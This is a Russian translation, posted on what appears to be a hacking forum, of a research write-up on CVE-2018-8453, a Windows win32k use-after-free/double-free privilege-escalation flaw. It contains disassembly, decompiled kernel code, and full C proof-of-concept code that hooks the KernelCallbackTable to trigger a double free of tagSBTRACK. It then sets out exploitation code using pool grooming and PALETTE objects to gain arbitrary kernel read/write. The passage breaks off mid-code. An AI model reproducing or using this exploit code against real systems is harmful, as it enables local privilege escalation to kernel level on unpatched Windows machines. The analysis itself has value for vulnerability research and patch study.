• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2018-8453 Заметки об исследовании уязвимости, связанной с повышением привилегий

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265

Оригинальная статья

Переведено специально для xss.pro
Камнями кадать Jolah Milovski

Введение​

1. Описание уязвимости​

Поскольку NtUserSetWindowFNID в win32kfull не определяет, было ли освобождено окно при установке fnid объекта окна, можно установить fnid освобожденного окна. Обратные вызовы пользовательского уровня есть как в xxxSBTrackInit, так и в xxxFreeWindow.При перехвате функции структура tagSBTRACK, используемая в функции xxxSBTrackInit, может быть освобождена в обратном вызове, поэтому, когда xxxSBTrackInit освобождает структуру, это вызывает BSOD из-за двойного выпуска. Перед освобождением структуры через функцию xxxSBTrackInit некоторые элементы структуры разыменовываются, а адрес члена cEntries ПАЛИТРЫ помещается в соответствующий адрес памяти для расширения значения путем разыменования, и записывается адрес вне границ в соседнюю PALETTE pFirstColor для достижения произвольного чтения и записи адреса и, в конечном итоге, для повышения привилегий.

2. Экспериментальная среда​

  • ОС: Win10 x64 1709 Professional Edition
  • Компилятор: Visual Studio 2017
  • Отладчик: IDA Pro, WinDbg

2. Анализ уязвимостей​

1. Ключевые структуры​

Поскольку многие символы в системе Win10 не экспортируются, некоторые элементы структуры можно получить только путем анализа. Для оконного объекта tagWND члены, связанные с этой уязвимостью, определяются следующим образом:

Код:
3: kd> dt tagWND
   +0x000 head             : _THRDESKHEAD
   +0x052 fnid             : Uint2B
   +0x0A8 pcls             : Ptr64 tagCLS
   +0x180 cbwndExtra          : Uint8B
 
3: kd> dt _THRDESKHEAD
   +0x000 h               : Ptr64 Void
   +0x008 cLockObj             : Uint4B
   +0x010 pti              : Ptr64 tagTHREADINFO
   +0x018 rpdesk             : Ptr64 tagDESKTOP
   +0x020 pSelf             : Ptr64 UChar

FNID tagWND offset 0x52 указывает на состояние окна, когда значение содержит 0x8000, это означает, что окно освобождено:

Код:
#define FNID_DELETED_BIT            0x00008000

Pti смещения tagWND 0x10 указывает на структуру tagTHREADINFO, которая сохраняет информацию о потоке и определяется следующим образом:

Код:
3: kd> dt tagTHREADINFO
   +0x198 pq             : Ptr64 tagQ
   +0x2B0 pSBTrack         : Ptr64 tagSBTRACK

Параметр pq смещения tagTHREADINFO 0x198 указывает на структуру tagQ, которая определяется следующим образом:

Код:
1: kd> dt tagQ
   +0x068 spwndCapture     : Ptr64 tagWND

Смещение tagTHREADINFO 0x2B0 указывает на структуру tagSBTRACK. Когда мышь нажимает левую кнопку на полосе прокрутки, система будет использовать эту структуру для отметки текущего состояния мыши. Структура определяется следующим образом:

Код:
3: kd> dt tagSBTRACK -v
struct tagSBTRACK, 17 elements, 0x68 bytes
   +0x000 fHitOld          : Bitfield Pos 0, 1 Bit
   +0x000 fTrackVert       : Bitfield Pos 1, 1 Bit
   +0x000 fCtlSB           : Bitfield Pos 2, 1 Bit
   +0x000 fTrackRecalc     : Bitfield Pos 3, 1 Bit
   +0x008 spwndTrack       : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x010 spwndSB          : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x018 spwndSBNotify    : Ptr64 to struct tagWND, 170 elements, 0x128 bytes
   +0x020 rcTrack          : struct tagRECT, 4 elements, 0x10 bytes
   +0x030 xxxpfnSB         : Ptr64 to     void
   +0x038 cmdSB            : Uint4B
   +0x040 hTimerSB         : Uint8B
   +0x048 dpxThumb         : Int4B
   +0x04c pxOld            : Int4B
   +0x050 posOld           : Int4B
   +0x054 posNew           : Int4B
   +0x058 nBar             : Int4B
   +0x060 pSBCalc          : Ptr64 to struct tagSBCALC, 16 elements, 0x40



2. Анализ функции xxxFreeWindow

Ядро освобождает окно с помощью xxxFreeWindow, и функция выполнит ИЛИ fnid объекта окна, который будет освобожден, с 0x8000, указывая, что окно освобождено. Затем оцените, имеет ли объект окна расширенную память, то есть, равно ли cbwndExtra 0, если нет, выполните xxxClientFreeWindowClassExtraBytes, чтобы освободить расширенную память:

Код:
.text:00000001C0050A10                 mov     r8, [rdi+180h]               ; r8 = tagWND->cbwndExtra
.text:00000001C0050A17                 mov     eax, 8000h
.text:00000001C0050A1C                 or      [rdi+52h], ax               ; tagWND->fnid |= 0x8000
.text:00000001C0050A20                 lea     rax, [r8-1]
.text:00000001C0050A24                 cmp     rax, 0FFFFFFFFFFFFFFFDh
.text:00000001C0050A28                 ja      short loc_1C0050A6D               ; 判断r8是否为0
.text:00000001C0050A2A                 test    dword ptr [rdi+130h], 800h
.text:00000001C0050A34                 jnz     loc_1C00513AD
.text:00000001C0050A3A                 call    cs:__imp_PsGetCurrentProcess
.text:00000001C0050A40                 mov     ecx, [rax+304h]
.text:00000001C0050A46                 test    ecx, 40000008h
.text:00000001C0050A4C                 jnz     short loc_1C0050A66
.text:00000001C0050A4E                 mov     eax, [r15+1D0h]
.text:00000001C0050A55                 test    r14b, al
.text:00000001C0050A58                 jnz     short loc_1C0050A66
.text:00000001C0050A5A                 mov     rcx, [rdi+180h] ; rcx = tagWND->cbwndExtra
.text:00000001C0050A61                 call    xxxClientFreeWindowClassExtraBytes

Функция xxxClientFreeWindowClassExtraBytes выполнит KeUserModeCallback, чтобы вернуться на пользовательский уровень:

Код:
.text:00000001C00B6D25                 mov     r8d, 8       
.text:00000001C00B6D2B                 lea     rax, [rsp+48h+arg_10]
.text:00000001C00B6D30                 lea     r9, [rsp+48h+var_18]
.text:00000001C00B6D35                 mov     [rsp+48h+var_28], rax
.text:00000001C00B6D3A                 lea     rdx, [rsp+48h+arg_18]
.text:00000001C00B6D3F                 lea     ecx, [r8+76h]   ; ecx = 0x76 + 0x8 = 0x7E
.text:00000001C00B6D43                 call    cs:__imp_KeUserModeCallback

После выполнения функции xxxClientFreeWindowClassExtraBytes функция определит, находятся ли младшие 12 бит значения fnid объекта окна между 0x2A0 и 0x2AA:

Код:
.text:00000001C00509EF movzx eax, word ptr [rdi+52h] ; eax = tagWND->fnid
.text:00000001C00509F3 mov edx, 3FFFh
.text:00000001C00509F8 movzx ecx, ax
.text:00000001C00509FB and cx, dx     
.text:00000001C00509FE mov edx, 29Ah
.text:00000001C0050A03 lea r8d, [rdx+6] ; r8d = 0x29A + 0x6 = 0x2A0
.text:00000001C0050A07 cmp cx, dx
.text:00000001C0050A0A jnb loc_1C005117A ; this will jump
                    ; omit some code
.text:00000001C005117A loc_1C005117A:                         
.text:00000001C005117A mov ebx, 4000h
.text:00000001C005117F test bx, ax
.text:00000001C0051182 jnz loc_1C0050A10 ; r8 = tagWND->cbwndExtra
.text:00000001C0051188 cmp cx, r8w ; r8w = 0x2A0
.text:00000001C005118C jbe loc_1C00514B7 ; fnid <= 0x2A0 jump
.text:00000001C0051192 mov eax, 2AAh
.text:00000001C0051197 cmp cx, ax
.text:00000001C005119A ja short loc_1C00511AC ; fnid >= 0x2AA then jump
.text:00000001C005119C mov eax, [r15+1D0h]
.text:00000001C00511A3 test r14b, al
.text:00000001C00511A6 jz loc_1C00515D8 ; here need to jump

Если fnid находится между 0x2A0 и 0x2AA, вызывается функция SfnDWORD:

Код:
.text:00000001C00515D8 loc_1C00515D8:                         
.text:00000001C00515D8                 mov     rax, cs:__imp_gpsi
.text:00000001C00515DF                 xor     r9d, r9d      ; r9d = 0
.text:00000001C00515E2                 movzx   ecx, cx
.text:00000001C00515E5                 xor     r8d, r8d
.text:00000001C00515E8                 mov     [rsp+100h+var_C8], r13
.text:00000001C00515ED                 mov     dword ptr [rsp+100h+var_D0], r14d
.text:00000001C00515F2                 mov     rax, [rax]
.text:00000001C00515F5                 lea     edx, [r9+70h]     ; edx = 0 + 0x70 = 0x70
.text:00000001C00515F9                 mov     rax, [rax+rcx*8-1210h]
.text:00000001C0051601                 mov     rcx, rdi
.text:00000001C0051604                 mov     qword ptr [rsp+100h+var_D8], rax
.text:00000001C0051609                 mov     qword ptr [rsp+100h+var_E0], r13
.text:00000001C005160E                 call    SfnDWORD
.text:00000001C0051613                 jmp     loc_1C00511AC

Функция SfnDWORD также вызывает функцию KeUserModeCallback для возврата на пользовательский уровень:

Код:
.text:00000001C006F85A                 lea     r9, [rsp+108h+arg_18] ;
.text:00000001C006F862                 mov     r8d, 30h ; '0'  ;
.text:00000001C006F868                 lea     rdx, [rsp+108h+var_C8]
.text:00000001C006F86D                 lea     ecx, [r8-2Eh]   ; ecx = 0x30 - 0x2E = 0x2
.text:00000001C006F871                 call    cs:__imp_KeUserModeCallback

3. Анализ функции xxxSBTrackInit​

xxxSBTrackInit — это функция, используемая для выполнения перетаскивания путем нажатия на полосу прокрутки левой кнопкой мыши.Часть кода этой функции выглядит следующим образом.Функция сначала применяется к фрагменту памяти для сохранения структуры pSBTrack, инициализирует эту память и ссылается на некоторые элементы; затем функция вызывает xxxSBTrackLoop для обработки сообщения, которое необходимо обработать, перетаскивая полосу прокрутки; наконец, функция разыменовывает соответствующие элементы и освобождает структуру pSBTrack:

Код:
__int64 __fastcall xxxSBTrackInit(struct tagWND *tagWND, __int64 a2, int a3, int a4)
{
  //  Requesting memory and initializing it
  pSBTrack = Win32AllocPoolWithQuota(0x68, 'tssU');
  pSBTrack_1 = pSBTrack;
  if ( !pSBTrack )
    return pSBTrack;
  
  // Initialization of members
  *(_DWORD *)pSBTrack &= 0xFFFFFFFE;
  *(_QWORD *)(pSBTrack + 0x40) = 0i64;
  *(_QWORD *)(pSBTrack + 8) = 0i64;
  *(_QWORD *)(pSBTrack + 0x10) = 0i64;
  *(_QWORD *)(pSBTrack + 0x18) = 0i64;
  *(_QWORD *)(pSBTrack + 0x30) = xxxTrackBox;
  
  // Store pSBTrack with tagTHRAEDINFO->pSBTrack
  *(_QWORD *)(*((_QWORD *)tagWND + 2) + 0x2B0i64) = pSBTrack;
 
  // References to spwndTrack, spwndSB, spwndSBNotify
  arr[0] = pSBTrack_1 + 8;
  arr[1] = tagWND;
  HMAssignmentLock(arr);
  arr[0] = pSBTrack_1 + 0x10;
  arr[1] = tagWND;
  HMAssignmentLock(arr);
  arr[0] = pSBTrack_1 + 0x18;
  arr[1] = *((_QWORD *)tagWND + 0xD);
  HMAssignmentLock(arr);
 
  xxxCapture(*(_QWORD *)gptiCurrent, tagWND, 3i64);
  pti = *((_QWORD *)tagWND + 2);
  if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )
  {
    // Message Distribution
    xxxSBTrackLoop(tagWND, a2, (struct tagSBCALC *)v17);
    
    // Release the pSBTrack object
    pti = *((_QWORD *)tagWND + 2);
    pSBTrack = *(_QWORD *)(pti + 0x2B0);
    if ( pSBTrack )
    {
      // Unquote
      HMAssignmentUnlock(pSBTrack + 0x18);
      HMAssignmentUnlock(pSBTrack + 0x10);
      HMAssignmentUnlock(pSBTrack + 8);
      // Release pSBTrack
      Win32FreePool(pSBTrack);
      pti = *((_QWORD *)tagWND + 2);
      *(_QWORD *)(pti + 0x2B0) = 0i64;
      return pti;
    }
  }
}

xxxSBTrackLoop будет вызывать xxxTranslateMessage и xxxDispatchMessage для распространения и обработки сообщений, а функция xxxDi spatchMessage будет вызывать упомянутую выше функцию SfnWORD для возврата на пользовательский уровень:

1660624783774.png


4. Анализ функции NtUserSetWindowFNID​

Эта функция используется для установки fnid объекта окна на увеличение указанного значения.Однако, когда он добавляется сюда, функция не оценивает, было ли окно освобождено, то есть имеет ли оно 0x8000. Это приведет к возможности установки значения fnid освобождаемого окна при его установке:

Код:
__int64 __fastcall NtUserSetWindowFNID(__int64 a1, __int16 fnid)
{
  hwnd = ValidateHwnd(a1);
  if ( hwnd )
  {
    if ( *(_QWORD *)(*(_QWORD *)(hwnd + 0x10) + 400i64) == PsGetCurrentProcessWin32Process(v5) )
    {
      // determine if the fnid to be set meets the requirements
      if ( fnid == 0x4000 || fnid - 0x2A1 <= 9 && (*(_WORD *)(hwnd + 0x52) & 0x3FFF) == 0 )
      {
        // set tagWND->fnid
        *(_WORD *)(hwnd + 0x52) |= fnid;
      }
    }
  }
}

5. Причины уязвимости​

Причина этой уязвимости более сложная, если связать вышеперечисленные функции, то причины следующие:

  • Когда сообщение WM_LBUTTONDOWN (нажата левая кнопка) отправляется элементу управления полосой прокрутки, будет вызвана функция xxxSBTrackInit, функция xxxSBTrackInit вызовет xxxDispatchMessage, а функция вызовет SfdDWORD для возврата на пользовательский уровень.
  • Если пользователь HOOKs соответствующую функцию обработки пользовательского уровня, вы можете вызвать DestroyWindow в этой функции, чтобы освободить окно, которому принадлежит элемент управления полосы прокрутки. Таким образом будет выполнена xxxFreeWindow Эта функция сначала пометит fnid окна как удаленное окно, а затем вызовет функцию xxxClientFreeWindowClassExtraBytes для возврата на пользовательский уровень, когда в окне есть расширенный объект.
  • Если пользователь перехватывает функцию обработки, соответствующую пользовательскому уровню, он может вызвать NtUserSetWindowFNID в функции обработки и добавить fnid окна к флагу 0x2A1. Таким образом, после возврата функции xxxClientFreeWindowClassExtraBytes, поскольку младшие 12 бит значения fnid измененного окна равны 0x2A1, снова будет вызван SfdDWORD для возврата на пользовательский уровень.В это время структура pSBTrack, применяемая функцией xxxSBTrackInit будет освобожден в соответствующей функции обработки.Этот кусок памяти будет освобожден
  • Когда функция xxxFreeWindow вернется, она вернется к xxxSBTrackInit для продолжения выполнения, а xxxSBTrackInit освободит структуру pSBTrack в конце, и эта структура была освобождена.В это время произойдет ошибка BSOD, если она будет освобождена.

3. Триггер уязвимости​

Чтобы успешно активировать эту уязвимость, вам нужно освободить структуру pSBTrack в функции обработки SfdDWORD на пользовательском уровне.В это время вам нужно только отправить сообщение WM_CANCELMODE на полосу прокрутки, что заставит функцию xxxEndScroll освободить память , Основной код функции выглядит следующим образом:

Код:
__int64 __fastcall xxxEndScroll(struct tagWND *pwnd, int a2)
{
         // Three conditions to release the pSBTrack structure
         pti = *((_QWORD *)pwnd + 2);
         pSBTrack = *(_QWORD *)(pti + 0x2B0);
         if ( !pSBTrack ) // pSBTrack != NULL
              return pti;
         pq = *(_QWORD *)(*(_QWORD *)gptiCurrent + 0x198i64);
         if ( *(struct tagWND **)(pq + 0x68) != pwnd ) // pq->spwndCapture == pwnd
              return pti;
         if ( !*(_QWORD *)(pSBTrack + 0x30) ) // pSBTrack->xxxpfnSB != NULL
              return pti;
        
        // Free the pSBTrack structure
        pti = *((_QWORD *)pwnd + 2);
        if ( pSBTrack == *(_QWORD *)(pti + 0x2B0) )
        {
          spwndSB = *(struct tagWND **)(pSBTrack + 0x10);
          if ( !spwndSB || (zzzShowCaret(spwndSB), pti = *((_QWORD *)pwnd + 2), pSBTrack == *(_QWORD *)(pti + 0x2B0)) )
          {
            *(_QWORD *)(pSBTrack + 0x30) = 0i64;
            HMAssignmentUnlock(pSBTrack + 0x10);
            HMAssignmentUnlock(pSBTrack + 0x18);
            HMAssignmentUnlock(pSBTrack + 8);
            Win32FreePool(pSBTrack);
            pti = *((_QWORD *)pwnd + 2);
            *(_QWORD *)(pti + 0x2B0) = 0i64;
          }
        }
  
  return pti;
}


Второй предел требует нового объекта полосы прокрутки для окна и вызывает для него SetCapture. Весь процесс срабатывания уязвимости выглядит следующим образом:

  1. Создает объект окна с восемью байтами дополнительной памяти и назначает дескриптор объекта дополнительной памяти для последующего использования. В то же время создайте в этом окне объект полосы прокрутки, чтобы активировать уязвимость.
  2. HOOK SfdDWORD и xxxCreateFreeWindowClassExtraBytes возвращают функцию, которую будет выполнять пользовательский уровень
  3. Отправьте в созданное окно функцию WM_LBUTTIONDWORD для вызова функции xxxSBTrackInit
  4. xxxClientFreeWindowClassExtraBytes, определенные на пользовательском уровне, будут решать, следует ли изменять fnid и вызывать SetCapture в соответствии с тем, является ли освобождаемая память дескриптором окна на первом этапе.
  5. В функции обработки SfdDWORD, определенной пользовательским уровнем, будет принято решение, что если это первый вызов, xxxFreeWindow будет вызываться через DestroyWindow. Если это второй вызов, отправьте WM_CANCELMODE в функцию pSBTrackInit.
  6. Когда функция xxxSBTrackInit, наконец, освободит структуру pSBTrack, это вызовет BSOD из-за двойного выпуска.
Соответствующий POC-код выглядит следующим образом:

Код:
BOOL CreateWindows()
{
    BOOL bRet = TRUE;
 
    HINSTANCE handle = NULL;
 
    handle = GetModuleHandle(NULL);
    if (!handle)
    {
        bRet = FALSE;
        ShowError("GetModuleHandle", GetLastError());
        goto exit;
    }
 
    char *szClassName = "MainWindow";
    WNDCLASS wc = { 0 };
 
    wc.style = CS_HREDRAW | CS_VREDRAW;
    wc.lpfnWndProc = DefWindowProc;
    wc.hInstance = handle;
    wc.cbWndExtra = 8;
    wc.lpszClassName = szClassName;
 
    if (!RegisterClass(&wc))
    {
        bRet = FALSE;
        ShowError("RegisterClass", GetLastError());
        goto exit;
    }
 
    Window = CreateWindowEx(0, szClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    if (!Window)
    {
        bRet = FALSE;
        ShowError("CreateWindowEx", GetLastError());
        goto exit;
    }
 
    SetWindowLong(Window, 0, (ULONG)Window);
 
    ScrollBar = CreateWindowEx(0, "SCROLLBAR", NULL, WS_CHILD | WS_VISIBLE | SBS_HORZ, NULL, NULL, 2, 2, Window, NULL, handle, NULL);
    if (!ScrollBar)
    {
        bRet = FALSE;
        ShowError("CreateWindowEx", GetLastError());
        goto exit;
    }
 
exit:
    return bRet;
}
 
BOOL HookFunc_CVE_2018_8453()
{
    BOOL bRet = TRUE;
 
    ULONG64 ulKernelCallBackTable = *(PULONG64)(GetPEB() + 0x58);
 
    DWORD dwOldProtect = 0;
 
    if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, PAGE_READWRITE, &dwOldProtect))
    {
        bRet = FALSE;
        ShowError("VirtualProtect", GetLastError());
        goto exit;
    }
 
    org_fnDWORD = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2);
    *(PULONG64)(ulKernelCallBackTable + 0x8 * 0x2) = (ULONG64)My_fnDWORD;
 
    org_xxxClientAllocWindowClassExtraBytes = (pFunc)*(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80);
    *(PULONG64)(ulKernelCallBackTable + 0x8 * 0x80) = (ULONG64)My_xxxClientFreeWindowClassExtraBytes;
 
    if (!VirtualProtect((PVOID)ulKernelCallBackTable, PAGE_SIZE, dwOldProtect, &dwOldProtect))
    {
        bRet = FALSE;
        ShowError("VirtualProtect", GetLastError());
        goto exit;
    }
 
exit:
    return bRet;
}
 
LONG64 My_fnDWORD(PVOID arg0)
{
    if (g_Flag_2018_8453 && *(PDWORD)arg0)
    {
        g_Flag_2018_8453 = FALSE;
        DestroyWindow(Window);
    }
 
    if (*((PULONG64)arg0 + 1) == 0x70)
    {
        SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);
    }
 
    return org_fnDWORD(arg0);
}
 
LONG64 My_xxxClientFreeWindowClassExtraBytes(PVOID arg0)
{
    if ((*(HWND*)*(HWND*)arg0) == Window)
    {
        New_ScrollBar = CreateWindowExA(0, "SCROLLBAR", NULL, SBS_HORZ | WS_HSCROLL | WS_VSCROLL, NULL, NULL, 2, 2, NULL, NULL, GetModuleHandleA(0), NULL);
        NtUserSetWindowFNID(Window, 0x2A1);
        SetCapture(New_ScrollBar);
    }
 
    return org_xxxClientAllocWindowClassExtraBytes(arg0);
}
 
BOOL POC_CVE_2018_8453()
{
    BOOL bRet = TRUE;
 
    if (!CreateWindows())
    {
        bRet = FALSE;
        goto exit;
    }
 
    if (!HookFunc_CVE_2018_8453())
    {
        bRet = FALSE;
        goto exit;
    }
 
    g_Flag_2018_8453 = TRUE;
 
    SendMessageA(ScrollBar, WM_LBUTTONDOWN, MK_LBUTTON, 0x00080008);
 
exit:
    return bRet;
}

Компиляция и запуск POC вызовет ошибку BSOD. Ниже приведены некоторые сообщения об ошибках:
Код:
2: kd> !analyze -v
Connected to Windows 10 16299 x64 target at (Tue Jul 12 23:41:49.772 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************
 
BAD_POOL_CALLER (c2)
The current thread is making a bad pool request.  Typically this is at a bad IRQL level or double freeing the same allocation, etc.
Arguments:
Arg1: 0000000000000007, Attempt to free pool which was already freed
Arg2: 0000000074737355, Pool tag value from the pool header
Arg3: 000000002d080002, Contents of the first 4 bytes of the pool header
Arg4: ffffea21825a28f0, Address of the block of pool being deallocated
 
 
POOL_ADDRESS:  ffffea21825a28f0 Paged session pool
 
FREED_POOL_TAG:  Usst
 
PROCESS_NAME:  exp_x64.exe
 
STACK_TEXT:  
nt!DbgBreakPointWithStatus
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x937
nt!KeBugCheckEx+0x107
nt!ExFreePoolWithTag+0x17bc
win32kfull!Win32FreePoolImpl+0x4c
win32kbase!Win32FreePool+0x1c
win32kfull!xxxSBTrackInit+0x491
win32kfull!xxxSBWndProc+0x9fa
win32kfull!xxxSendTransformableMessageTimeout+0x3c8
win32kfull!xxxWrapSendMessage+0x24
win32kfull!NtUserMessageCall+0xfb
nt!KiSystemServiceCopyEnd+0x13
win32k!NtUserMessageCall+0x14
USER32!SendMessageWorker+0x108
USER32!SendMessageA+0x55

Видно, что причиной BSOD является повторный выпуск структуры pSBTrack:

1660625035062.png


4. Использование уязвимостей​

1. Используйте идеи​

Если вы хотите не генерировать BSOD, вам нужно подать заявку на блок памяти, который занимает общий размер 0x80 после освобождения структуры pSBTrack в первый раз, чтобы занять освободившуюся память, чтобы при ее втором освобождении в xxxSBTrackInit, не выйдет из-за релиза.Уязвимость выдает двойной фри. Перед тем, как xxxSBTrackInit освободит память, функция разыменовывает несколько своих членов, вызывая HMAssignmentUnlock.Реализация этой функции выглядит следующим образом.Видно, что значение адреса смещено на 8 к адресу, на который указывает указатель входящего параметра равно -1 , если вы можете передать соответствующие параметры, чтобы расширить конкретное значение, вы можете получить любой адрес для чтения и записи.

1660625054118.png


Объект BitMap часто выбирался и раньше, но, начиная с Win10 1709, данные объекта BitMap не находятся за заголовком объекта, а pvScan0 указывает на другую память, поэтому вместо него используется объект Palette для достижения произвольного чтения и записи адреса.

1660625070042.png


2. Объект палитры​

Создание объекта Palette достигается с помощью функции CreatePalette, которая определяется следующим образом:

Код:
HPALETTE WINAPI CreatePalette(LOGPALETTE * plpal);

Параметры определяются следующим образом, а элемент palNumEntries указывает номер массива palPalEntry:

Код:
typedef struct tagLOGPALETTE {
    WORD        palVersion;
    WORD        palNumEntries;
    PALETTEENTRY  palPalEntry[1];
} LOGPALETTE, *PLOGPALETTE;

Тип массива palPalEntry — PALETTENTRY, и видно, что каждый элемент занимает 4 байта:

Код:
typedef struct tagPALETTEENTRY
{
    BYTE    peRed;
    BYTE    peGreen;
    BYTE    peBlue;
    BYTE    peFlags;
} PALETTEENTRY;

После успешного вызова CreatePalette будет создан объект PALETTE, который определяется следующим образом, где cEntries по смещению 0x1C равно palNumEntries в LOGPALETTE, а массив apalColor по смещению 0x88 является массивом palPalEntry в LOGPALETTE.

Код:
typedef struct _BASEOBJECT64
{
    ULONG64 hHmgr;
    ULONG32 ulShareCount;
    WORD cExclusiveLock;
    WORD BaseFlags;
    ULONG64 Tid;
} BASEOBJECT64, *POBJ;         // sizeof = 0x18
 
typedef struct _PALETTE64
{
    BASEOBJECT64      BaseObject;            // 0x00
    FLONG                   flPal;                      // 0x18
    ULONG32              cEntries;                 // 0x1C
    ULONG64              ulUnknown[0xB]    // 0x20
    PALETTEENTRY     *pFirstColor;           // 0x78
    PALETTE64            *ppalThis;               // 0x80
    PALETTEENTRY     apalColors[3];         // 0x88
} PALETTE64, *PPALETTE64;

pFirstColor по смещению 0x78 указывает на apalColors.При чтении и записи через SetPaletteEntries и GetPaletteEntries адреса чтения и записи — это адреса, на которые указывает pFirstColor:

Код:
UINT WINAPI SetPaletteEntries(HPALETTE hpal,
                              UINT iStart,
                              UINT cEntries,
                              PALETTEENTRY *pPalEntries);
                              
UINT  WINAPI GetPaletteEntries(HPALETTE hpal,
                               UINT iStart,
                               UINT cEntries,
                               LPPALETTEENTRY pPalEntries);

При создании окна с MenuName его адрес в памяти можно получить по tagWND offset 0xA8 pcls. Поэтому можно создать PALETTE создав такое окно, потом отпустить его, а потом сразу создать PALETTEУ, тогда ее пклс будет указывать на объект PALETTE (высокая вероятность).При попадании на определенный уровень голова этой памяти не будет иметь POOL_HEADER 0x10, поэтому его следует решать в соответствии с конкретной ситуацией при его использовании.

Код:
ULONG64 AllocateFreeWindow(DWORD dwSize)
{
    ULONG64 ulRes = 0;
    HINSTANCE handle = NULL;
 
    handle = GetModuleHandle(NULL);
    if (!handle)
    {
        ShowError("GetModuleHandle", GetLastError());
        goto exit;
    }
 
    WNDCLASSW wc = { 0 };
    WCHAR szMenuName[0x1005] = { 0 };
    PWCHAR pClassName = L"LEAKWS";
 
    memset(szMenuName, 0x42, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);
    wc.style = CS_HREDRAW | CS_VREDRAW;
    wc.hInstance = handle;
    wc.lpfnWndProc = DefWindowProc;
    wc.lpszClassName = pClassName;
    wc.lpszMenuName = szMenuName;
 
    if (!RegisterClassW(&wc))
    {
        ShowError("RegisterClassW", GetLastError());
        goto exit;
    }
 
    HWND hWnd = CreateWindowExW(0, pClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
    if (!hWnd)
    {
        ShowError("CreateWindowExW", GetLastError());
        goto exit;
    }
    
    lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
    if (!HMValidateHandle) goto exit;
    
    PTHRDESKHEAD pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd, TYPE_WINDOW);
    ULONG64 ulTagCls = 0, ulClientDelta = 0;
 
    ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;
    ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;
    ulRes = *(PULONG64)(ulTagCls + 0x98);
    DestroyWindow(hWnd);
    UnregisterClassW(pClassName, handle);
exit:
    return ulRes;
}

На этом этапе вы можете создать MenuName размером 0x1000 байт, освободить его и сразу же подать заявку на две PALETTE, занимающие 0x800, чтобы эти двеPALETTE заняли освобожденное MenuName, которые соседствуют в памяти и могут быть получены по адресу первой PALETTE объекта, запишите адрес первого объекта PALETTE cEntries object для последующего использования, соответствующий код выглядит следующим образом:

Код:
BOOL GetPalette_CVE_2018_8453(HPALETTE *hPalette)
{
    BOOL bRet = TRUE;
    CONST DWORD dwCount = 0x1500;
    DWORD i = 0, dwSize = 0x800;
    HACCEL hAccel[dwCount] = { NULL };
 
    PLOGPALETTE pLogPalette = NULL;
 
    DWORD dwNumEntries = (dwSize - 0x88 - POOL_HEADER_SIZE - 0x10) / 4;
    DWORD dwPalSize = sizeof(LOGPALETTE) + (dwNumEntries - 1) * sizeof(PALETTEENTRY);
 
    pLogPalette = (PLOGPALETTE)malloc(dwPalSize);
    if (!pLogPalette)
    {
        ShowError("malloc", GetLastError());
        goto exit;
    }
 
    ZeroMemory(pLogPalette, dwPalSize);
    memset(pLogPalette, 0x41, dwPalSize);
    pLogPalette->palNumEntries = dwNumEntries;
    pLogPalette->palVersion = 0x300;
 
    //Consume 0x800 size of free memory
    for (i = 0; i < dwCount; i++)
    {
        // 0x14D * 6 + 0x1C + 0x10 = 0x7CE + 0x1C + 0x10 = 0x7FA = 0x800
        ACCEL accel[0x14D] = { 0 };
        hAccel[i] = CreateAcceleratorTable(accel, 0x14D);
        if (!hAccel[i]) break;
    }
 
    // Request a new 0x1000 size MENUNAME and release it
    ULONG64 ulRes = AllocateFreeWindow(0x1000);
    if (!ulRes)
    {
        bRet = FALSE;
        goto exit;
    }
 
    // Occupy the 0x1000 size of memory freed in the previous step
    hPalette[0] = CreatePalette(pLogPalette);
    hPalette[1] = CreatePalette(pLogPalette);
 
    if (!hPalette[0] || !hPalette[1])
    {
        bRet = FALSE;
        goto exit;
    }
 
    // Used to record the size of the modified cEntries member
    g_ulTarAddr_2018_8453 = ulRes + 0x2D - 8;
 
exit:
    for (i = 0; i < dwCount; i++)
    {
        if (hAccel[i])
        {
            DestroyAcceleratorTable(hAccel[i]);
            hAccel[i] = NULL;
        }
        else break;
    }
    return bRet;
}

Затем, когда он освобождается в первый раз, необходимо создать большое количество MenuNames, чтобы занять освободившуюся память.Поскольку значение MenuName может быть изменено напрямую, оно может соответствовать члену структуры tagSBTRACK и устанавливать его как адрес элемента cEntries, записанный выше. , так что функция xxxSBTrackInit изменит cEntries, когда она, наконец, вызовет HMAssignmentUnlock для выполнения операции -1. Соответствующий код выглядит следующим образом:

Код:
LONG64 My_fnDWORD(PVOID arg0)
{
    if (g_Flag_2018_8453 && *(PDWORD)arg0)
    {
        g_Flag_2018_8453 = FALSE;
        DestroyWindow(Window);
    }
 
    if (*((PULONG64)arg0 + 1) == 0x70)
    {
        CONST DWORD dwCount = 0x2000;
        DWORD i = 0, dwSize = 0x80;
        HACCEL hAccel[dwCount] = { NULL };
 
        // Occupy 0x80 of free memory
        for (i = 0; i < dwCount; i++)
        {
            // 0x6 * 0x8 + 0x1C + 0x10 = 0x4E + 0x1C + 0x10 = 0x7A = 0x80
            ACCEL accel[0xD] = { 0 };
            hAccel[i] = CreateAcceleratorTable(accel, 0xD);
            if (!hAccel[i]) break;
        }
 
        // Free tagSBTRACK memory
        SendMessage(New_ScrollBar, WM_CANCELMODE, 0, 0);
 
        lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle();
        if (!HMValidateHandle) goto exit;
 
        HINSTANCE handle = GetModuleHandle(NULL);
        if (!handle)
        {
